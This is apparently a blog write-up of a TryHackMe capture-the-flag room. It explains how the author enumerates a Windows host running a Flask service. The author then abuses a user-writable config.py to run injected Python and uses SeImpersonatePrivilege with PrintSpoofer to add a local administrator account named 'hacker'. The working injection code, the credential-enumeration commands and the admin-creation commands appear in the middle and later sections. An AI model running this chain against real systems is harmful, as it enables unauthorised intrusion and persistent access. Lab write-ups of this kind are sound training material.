Skip to main content

Command Palette

Search for a command to run...

St3alMyH34rt — Tryhackme (Love at first breach)

Updated
14 min read

At first i tried using nmap to check what are the open ports

“nmap -sS -p- ”

Then we found out there's port 8080 which an web app

After looking around there’s 2 interesting page Love letters where you can upload and RSVP Now which a reservation maybe we can do some path traversal? SSTI? command injection? Rev Shell?

But revshell is not allowed as stated on the challenge “ outbund traffic is not allowed.”

One thing we can think of is why we have RDP? and what is this website for?

But before that let’s look around the provided RDP which is andrea windows

We immediately noticed there’s a valentine folder same as the web application?

Conclusion: “Can it be this is the one acting as server for valentine web app?”

Let’s look around

Interesting folders they might contain something important

An app config and run file? hmm…. can it be? we can hijack the python?

There’s known attack called python path hijacking

But before we execute this let’s look around the website what we can find and test our theory about attacking the upload and reservation

If we look on the source code of the website below you can see an interesting and fun javascript code. Which is konami easter egg

so basically if you do this “up up down down left right left right B A”

You get a pop up but this doesn’t interest us let’s look more on the code

We can find there’s where you click the heart 7 times next on “Valentine’s Eve”

Interesting we are transferred to another page…

but looking below there’s different kind of easter egg’s

Maybe this will reveal some hidden API’s?

So open your dev by f12 and go to network tab

If you type fortune or click Get a love fortune we get an api

As you can see theres an API request lets try going to http://10.65.128.202:8080/api/love-fortune

Lets try fuzzing some hidden endpoints. While this is going let’s go search more for clue’s or hint

But earlier we remember we got a RDP creds.

I noticed going back to windows there's called valentine lets check if this windows RDP provided to us is the one running it

Let’s confirm if this windows is really the one responsible for this website

By typing this command “tasklist | findstr python”

We can see some python running here

Let's try to view them "netstat -ano | findstr <PID>" if you noticed theres a lot of them with port 8080 which the port of the website
Lets verify some of them by typing this command usually flask PID "netstat -ano | findstr 4236"

We can confirm that this windows is running flask

Now lets check the folder permission "icacls C:\valentine"

It can be that the valentine folder is where the admin

Maybe this folder is hiding the admin password? 
# Check for config files with credentials
type C:\valentine\*.config
type C:\valentine\*.ini
type C:\valentine\*.json
type C:\valentine\*.py
type C:\valentine\*.php  (if it's PHP)

# Search for "flag" or "admin" in files
findstr /s /i /m "flag" C:\valentine\*.*
findstr /s /i /m "admin" C:\valentine\*.*
findstr /s /i /m "password" C:\valentine\*.*

Let’s query the valentine

Lets query the application again "sc query ValentineApp"

Enumerating Running Services

To gather more information about potential privilege escalation paths, we queried a Windows service:

sc query ValentineApp

Step 1 — What is sc?

sc stands for Service Control.

It is used to interact with Windows services, such as:

  • Checking if a service exists

  • Seeing if it is running

  • Starting/stopping services

Services are interesting in privilege escalation because they often run with high privileges (SYSTEM).


Step 2 — What this command does

sc query ValentineApp

This asks Windows:

Is there a service named ValentineApp, and what is its current status?


Step 3 — Understanding the output

SERVICE_NAME: ValentineApp
TYPE  : 10  WIN32_OWN_PROCESS
STATE : 4  RUNNING

Let’s decode the important parts.

SERVICE_NAME: ValentineApp

The service exists on the system.


TYPE : 10 WIN32_OWN_PROCESS

This means the service runs as a standalone executable (.exe).

This is important because:

If we can modify the executable or its path, we might gain privilege escalation.


STATE : 4 RUNNING

The service is currently running.

Extra flags:

(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

Meaning:

  • It can be stopped

  • It cannot be paused

  • It stops when Windows shuts down

The STOPPABLE part is interesting for attackers because:

If we can modify the service binary and restart the service, we might execute our own code.


Exit Codes

WIN32_EXIT_CODE   : 0
SERVICE_EXIT_CODE : 0

Both are 0, meaning the service is running normally without errors.


Step 4 — Why this matters in privilege escalation

Services are a common escalation path because:

  • Many run as SYSTEM

  • If misconfigured, we may:

  • Modify the service executable

  • Change its configuration

  • Restart the service to execute our code

This command confirms that the ValentineApp service exists and is running, making it a potential target for further enumeration.

If it really running the website? could it be the upload folder is where the file go when we upload on love

But the problem here is we dont have any permission to modify the python libraries to do python path hijacking

And we dont have also right’s to reload the service itself

As you noticed only .txt file and 1mb means rev shell or php cant be used

Interesting maybe we can intercept this? when we try to download the love letter and do some path traversal?

try ../../../../windows/win.ini 
This verify if we can download something in the server

Interesting Not found lets try another way

maybe rsvp lets try SSTI because maybe the flask web app is using jinja known vuln?

Hmmm…. Nothing happening let’s go back to our fuzzer if we find something important

Also nothing we are left 1 choice is to check the valentine folder itself

Just like what we guessed it does really upload it to the C:\valentine\upload

If you noticed earlier there’s static folder this might contain a javascript?

But before that let’s check what permission andrea or what this valentine folder permission have

Let’s go back to windows and check what we can do & also lets check some permissions on the folder valentine “icacls C:\valentine\* | findstr “F” # Full control”


Quick explanation what happening

Checking Folder Permissions with icacls

To understand who has powerful permissions over the C:\valentine directory, we ran:

icacls C:\valentine\* | findstr "F"

Let’s break this down step-by-step.

Step 1 — icacls

icacls is a Windows command used to view Access Control Lists (ACLs).

In simple terms, it answers:

Who can access this file/folder and what are they allowed to do?


Step 2 — Target folder

C:\valentine\*

This tells Windows to check all files and subfolders inside the C:\valentine directory.

So now we are asking:

Show the permissions for everything inside this folder.


Step 3 — Filtering with findstr "F"

The output of icacls can be very long, so we filter it:

| findstr "F"

This only shows lines containing (F).

In icacls:

  • (F) = Full Control

This is the most powerful permission. A user with Full Control can:

  • Read files

  • Modify files

  • Delete files

  • Change permissions

So the full command means:

Show only the users/groups that have FULL CONTROL over files in C:\valentine.


Step 4 — Interpreting the output

Example line:

BUILTIN\Administrators:(I)(OI)(CI)(F)

What this means:

  • BUILTIN\Administrators → The Administrators group

  • (F) → Full control

  • (I) → Permission is inherited

  • (OI)(CI) → Applies to files and folders inside

In plain English:

Administrators have full control over this folder and its contents.


Step 5 — Why we check this

During privilege escalation, we look for dangerous permissions such as:

  • Users:(F)

  • Everyone:(F)

  • Authenticated Users:(F)

If regular users have Full Control, they could modify files and potentially escalate privileges.

In our case, only SYSTEM, Administrators, and service accounts have Full Control, which appears normal and not immediately exploitable.


This step helps us quickly identify whether a folder is writable or misconfigured for privilege escalation.

But are this true? let’s confirm it our self

Seems like we can write something on the folder?

So we tried some query on the application for some confirmation we noticed something very important

sc qc ValentineApp

Critical Information:

  • Service runs as: NETWORK SERVICE (not admin, but still higher priv than Andrea)

  • Uses NSSM (Non-Sucking Service Manager) to run the Flask app

  • Binary path: C:\ProgramData\chocolatey\lib\NSSM\tools\nssm.exe

What is NSSM?

NSSM is a service wrapper — it runs the Flask app as a service. The actual Flask app command is stored in the registry.

Find the Actual Flask Command

# NSSM stores app settings in registry
reg query HKLM\SYSTEM\CurrentControlSet\Services\ValentineApp\Parameters

# Check these specific values
reg query HKLM\SYSTEM\CurrentControlSet\Services\ValentineApp\Parameters /v AppDirectory
reg query HKLM\SYSTEM\CurrentControlSet\Services\ValentineApp\Parameters /v Application
reg query HKLM\SYSTEM\CurrentControlSet\Services\ValentineApp\Parameters /v AppParameters

Check NSSM Configuration

# NSSM might have its own config
type "C:\ProgramData\chocolatey\lib\NSSM\tools\valentineapp.log"
dir C:\ProgramData\chocolatey\lib\NSSM\tools\*.ini

Now The Important Part — File Permissions

We already did some part of this

# Check permissions on the valentine folder
icacls C:\valentine

# Check if NETWORK SERVICE has write access anywhere
icacls C:\valentine\static
icacls C:\valentine\uploads
icacls C:\valentine\*.py

The NSSM Binary Itself

# Check nssm.exe permissions
icacls "C:\ProgramData\chocolatey\lib\NSSM\tools\nssm.exe"

# Check if we can replace nssm.exe (unlikely but worth checking)

Since It’s NSSM, Maybe We Can Modify the Service

# NSSM has its own commands to modify services
"C:\ProgramData\chocolatey\lib\NSSM\tools\nssm.exe" help
"C:\ProgramData\chocolatey\lib\NSSM\tools\nssm.exe" get ValentineApp Application

CRITICAL FINDINGS:

  1. LOCAL SERVICE has FULL CONTROL (F) on almost everything! (That’s the service user)

  2. BUT LOOK AT config.py:

  • BUILTIN\Users:(M) - MODIFY permission!

  • That means Andrea (as a User) can MODIFY config.py!

This Is Our Vector!

Since the service runs as LOCAL SERVICE and imports config.py (it always does in Flask apps), and you can modify it, here’s the plan:

Read what the config.py contains

If you remember earlier there’s a API we found and it looks like it’s not interesting it just keep popping a new quote but look at this

Let’s try changing some part of it if it will reflect to the web if this reflect means the web app execute the config.py

and we can write some exploit there like creating an admin account

It does reflect and execute the config.py

Let’s try to escalate our privilege but before that we need to enumerate some known vulnerability i made here a simple python that we can paste in the config.py

This save the content inside of static folder since we can also write there without any problem and also change file extension (changing file extension later is crucial as the upload folder wont let us do it)

# PRIVESC ENUMERATION - RUN AS NETWORK SERVICE
import os, subprocess

def enum_privesc():
    try:
        results = []
        
        # 1. Check privileges (look for SeImpersonate)
        whoami_all = os.popen('whoami /all').read()
        results.append("=== WHOAMI /ALL ===\n" + whoami_all)
        
        # 2. List all services
        services = os.popen('sc query state= all').read()
        results.append("\n=== ALL SERVICES ===\n" + services)
        
        # 3. Get service details with paths
        service_details = os.popen('wmic service get name,displayname,pathname,startname,startmode').read()
        results.append("\n=== SERVICE DETAILS ===\n" + service_details)
        
        # 4. Check for unquoted service paths
        unquoted = os.popen('wmic service get name,pathname | findstr /i /v "C:\\Windows\\\\"').read()
        results.append("\n=== POTENTIAL UNQUOTED SERVICE PATHS ===\n" + unquoted)
        
        # 5. Scheduled tasks
        tasks = os.popen('schtasks /query /fo LIST /v').read()
        results.append("\n=== SCHEDULED TASKS ===\n" + tasks[:5000])  # Limit size
        
        # 6. Check valentine folder permissions
        valentine_perms = os.popen('icacls C:\\valentine').read()
        results.append("\n=== VALENTINE PERMS ===\n" + valentine_perms)
        
        # 7. Check all folders in C:\ for writability by NETWORK SERVICE
        folders = ['C:\\Program Files', 'C:\\Program Files (x86)', 'C:\\ProgramData', 'C:\\Temp', 'C:\\Windows\\Temp']
        for folder in folders:
            if os.path.exists(folder):
                perms = os.popen(f'icacls "{folder}"').read()
                if 'NETWORK SERVICE' in perms and 'F' in perms:  # Full control
                    results.append(f"\n=== NETWORK SERVICE CAN WRITE TO {folder} ===\n{perms}")
        
        # 8. Check registry autoruns
        autoruns = os.popen('reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run').read()
        results.append("\n=== REGISTRY AUTORUNS ===\n" + autoruns)
        
        # 9. Check AlwaysInstallElevated
        always_install = os.popen('reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul').read()
        always_install += os.popen('reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated 2>nul').read()
        if always_install.strip():
            results.append("\n=== ALWAYS INSTALL ELEVATED ===\n" + always_install)
        
        # 10. Check for stored credentials
        cmdkey = os.popen('cmdkey /list').read()
        results.append("\n=== STORED CREDENTIALS ===\n" + cmdkey)
        
        # Save all results
        with open(r'C:\valentine\static\privesc_enum.txt', 'w') as f:
            f.write('\n\n'.join(results))
            
    except Exception as e:
        with open(r'C:\valentine\static\privesc_error.txt', 'w') as f:
            f.write(str(e))

enum_privesc()

After pasting it let’s search the /api/love-fortune again to trigger the web application and the script

=== WHOAMI /ALL ===

USER INFORMATION
----------------

User Name                    SID     
============================ ========
nt authority\network service S-1-5-20


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                   
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

If you will look carefully

You have SeImpersonatePrivilege = Enabled

This means you can use PrintSpoofer, JuicyPotato, or RoguePotato to get SYSTEM!

Let’s download the exploit

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

But remember we can’t either use simple python web server so we have new plan remember the extension where upload only accept .txt?

we will change it to PrintSpoofer64.exe.txt then copy it and move it to the static folder and change it back to PrintSpoofer64.exe

Now let’s make a new python code we can paste on config.py

remember to change the ps.exe to the name you give to the printspoofer.exe

# EXECUTE PRINTSPOOFER FROM STATIC
import os, threading

def pwn():
    try:
        # Run PrintSpoofer to get SYSTEM shell
        os.system('C:\\valentine\\static\\ps.exe -i -c "cmd.exe /c whoami > C:\\valentine\\static\\system.txt"')
        
        # Also try to add a user
        os.system('C:\\valentine\\static\\ps.exe -i -c "net user hacker Hacked123! /add"')
        os.system('C:\\valentine\\static\\ps.exe -i -c "net localgroup administrators hacker /add"')
        
        # Get the flag
        os.system('C:\\valentine\\static\\ps.exe -i -c "type C:\\Users\\Administrator\\Desktop\\flag.txt > C:\\valentine\\static\\flag.txt"')
        os.system('C:\\valentine\\static\\ps.exe -i -c "dir /s C:\\*flag* > C:\\valentine\\static\\all_flags.txt"')
        
    except:
        pass

threading.Thread(target=pwn).start()

This will create a new user that is administrator

Now just like earlier let’s refresh the api/love-fortune to execute it

as you can see we successfully manage to make new user

Now time to login as the hacker user

xfreerdp3 /v:$TARGET /u:hacker /p:'Hacked123!' /cert:ignore +clipboard /dynamic-resolution

Tadan!!!!🥳🙌

“Even a non‑privileged user can gain full SYSTEM access through a simple misconfiguration.”